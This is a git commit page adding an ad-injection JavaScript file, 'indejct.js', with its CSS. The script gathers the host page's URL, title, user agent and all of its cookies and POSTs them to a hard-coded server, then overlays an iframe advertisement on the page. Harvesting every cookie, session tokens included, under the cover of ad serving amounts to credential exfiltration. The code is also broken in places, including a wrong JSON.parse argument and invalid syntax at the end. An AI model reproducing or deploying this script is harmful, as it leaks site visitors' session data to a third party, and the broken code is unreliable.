Browse Source

first commit

HonorLee 7 years ago
commit
7d59efcf0e
4 changed files with 140 additions and 0 deletions
  1. 0 0
      README.md
  2. 1 0
      css.css
  3. 10 0
      css.less
  4. 129 0
      indejct.js

+ 0 - 0
README.md


+ 1 - 0
css.css

@@ -0,0 +1 @@
+#__ADInject__{position:fixed;z-index:9999;box-sizing:border-box}#__ADInject__.bottom{bottom:5px}#__ADInject__ iframe{position:relative;left:0;right:0;bottom:0;top:0;overflow:hidden;border:none;padding:0;margin:0;z-index:10}#__ADInject__ .__ADInjectClose__{position:absolute;right:0;top:0;display:block;color:#fff;font-size:12px;width:20px;height:20px;line-height:20px;text-align:center;background:rgba(0,0,0,.2);z-index:999}

+ 10 - 0
css.less

@@ -0,0 +1,10 @@
+#__ADInject__{
+    position:fixed;z-index:9999;box-sizing:border-box;
+    &.bottom{bottom:5px;}
+    iframe{
+        position:relative;left:0;right:0;bottom:0;top:0;overflow:hidden;border:none;padding:0;margin:0;z-index:10;
+    }
+    .__ADInjectClose__{
+        position:absolute;right:0;top:0;display:block;color:#fff;font-size:12px;width:20px;height:20px;line-height:20px;text-align:center;background:rgba(0, 0, 0, 0.2);z-index:999;
+    }
+}

+ 129 - 0
indejct.js

@@ -0,0 +1,129 @@
+window.SpecInject = {};
+(function(){
+    //Change File Name
+    var protocol = ('https:'==window.location.protocol)?'https://':'http://';
+    var requestURL = protocol+'192.168.31.210:8000/post';
+    
+    var __FILENAME__ = 'specinject.js'
+    var __FILE__, scripts = document.getElementsByTagName("script");
+    for(var i=0;i<scripts.length;i++){
+        var src =scripts.item(i).getAttribute("src");
+        if(src&&src.match(__FILENAME__)){
+            __FILE__=src;break;
+        }
+    }
+    if(!__FILE__) return;
+    var attribute = __FILE__.split('?')[1];
+    if(!attribute) return;
+    attribute = attribute.split('&');
+    var tmpObj = {};
+    for(var i in attribute){attribute[i]=attribute[i].split('=');tmpObj[attribute[i][0]]=attribute[i][1]};
+    //Params
+    var ADID = tmpObj['aid'],
+        ADTYPE = tmpObj['type'];
+    if(!ADID || !ADTYPE) return;
+    var browser={
+        versions:function(){
+            var u = navigator.userAgent, app = navigator.appVersion;
+            return {
+                mobile: !!u.match(/AppleWebKit.*Mobile.*/), //是否为移动终端
+                ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios终端
+                android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, //android终端或者uc浏览器
+                iPhone: u.indexOf('iPhone') > -1 , //是否为iPhone或者QQHD浏览器
+                iPad: u.indexOf('iPad') > -1, //是否iPad
+                webApp: u.indexOf('Safari') == -1, //是否web应该程序,没有头部与底部
+                weixin: u.indexOf('MicroMessenger') > -1, //是否微信 (2015-01-22新增)
+                version:u.match(/Version\/(\d+\.+\d+)/)[1]
+            };
+        }(),
+        language:(navigator.browserLanguage || navigator.language).toLowerCase()
+    }
+    var keywords = document.querySelector('meta[name=Keywords]')?document.querySelector('meta[name=Keywords]'):document.querySelector('meta[name=keywords]');
+
+    var xmlhttp;
+        xmlhttp = new XMLHttpRequest();
+
+    var getJSADParam = {
+        mediatitle:document.querySelector('title').innerHTML,
+        mediakeyword:keywords?keywords.getAttribute('content'):'',
+        mediaurl:window.location.href,
+        mediakey:ADID,
+        tertype:browser.versions.ios?1:browser.versions.android?0:2,
+        useragent:navigator.userAgent,
+        browserversion:browser.versions.version,
+        browserlanguage:browser.language,
+        cookies:JSON.stringify(getCookies())
+    }
+    function parseData(obj){
+        var formData = new FormData();
+        for(var attr in obj){
+            formData.append(attr,obj[attr]);
+        }
+        return formData;
+    }
+    function getADHandler(data){
+        if(data.status!=1) return;
+        data = data.data;
+        if(!data.adurl) return;
+        var style = document.createElement('style');
+            style.innerText = '#__ADInject__{position:fixed;z-index:9999;box-sizing:border-box}#__ADInject__.bottom{bottom:5px}#__ADInject__ iframe{position:relative;left:0;right:0;bottom:0;top:0;overflow:hidden;border:none;padding:0;margin:0;z-index:10}#__ADInject__ .__ADInjectClose__{position:absolute;right:0;top:0;display:block;color:#fff;font-size:12px;width:20px;height:20px;line-height:20px;text-align:center;background:rgba(0,0,0,.2);z-index:999}';
+        var script = document.createElement('script');
+            script.innerText = 'function __ADInjectFeedback__(){SpecInject.feedback()};function __ADInjectClose__(){document.getElementById("__ADInject__").remove()}';
+        var doms =  document.createElement('div');
+            doms.id = '__ADInject__';
+            doms.innerHTML = '<span class="__ADInjectClose__" onclick="javascript:__ADInjectClose__()">X</span><iframe id="__ADInjectFrame__" src="'+data.adurl+'" />';
+        document.body.appendChild(style);
+        document.body.appendChild(script);
+        document.body.appendChild(doms);
+    }
+    //Ajax Post
+    function post(URL,data,callback){
+        xmlhttp.open("POST",URL);
+        xmlhttp.onreadystatechange = function() {
+            if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
+                var reponse = null;
+                if(xmlhttp.responseText){
+                    try{
+                        response = JSON.parse(callback);
+                    }catch(e){log(e)}
+                }
+                callback(response);
+            }
+        }
+        xmlhttp.send(data);
+    }
+
+    //COOKIES get & set
+    function getCookie(c_name){
+        if (document.cookie.length>0){
+            c_start=document.cookie.indexOf(c_name + "=");
+            if (c_start!=-1){
+            c_start=c_start + c_name.length+1;
+            c_end=document.cookie.indexOf(";",c_start);
+            if (c_end==-1) c_end=document.cookie.length;
+                return unescape(document.cookie.substring(c_start,c_end));
+            }
+        }
+        return null;
+    }
+    function getCookies(){
+        var obj = {};
+        if (document.cookie.length>0){
+            var cookie = document.cookie.split('; ');
+            for(var i in cookie){
+                var par = cookie[i].split('=');
+                obj[par[0]] = par[1];
+            }
+        }
+        return obj;
+    }
+    function setCookie(c_name,c_value,c_exp){
+        var exp = c_exp?';expires='+c_exp:'';
+        document.cookie = c_name+'='+c_value+exp+';path=/';
+    }
+
+    post(requestURL,parseData(getJSADParam),getADHandler);
+    window.SpecInject.prototype.feedback(action)(){
+
+    }
+})();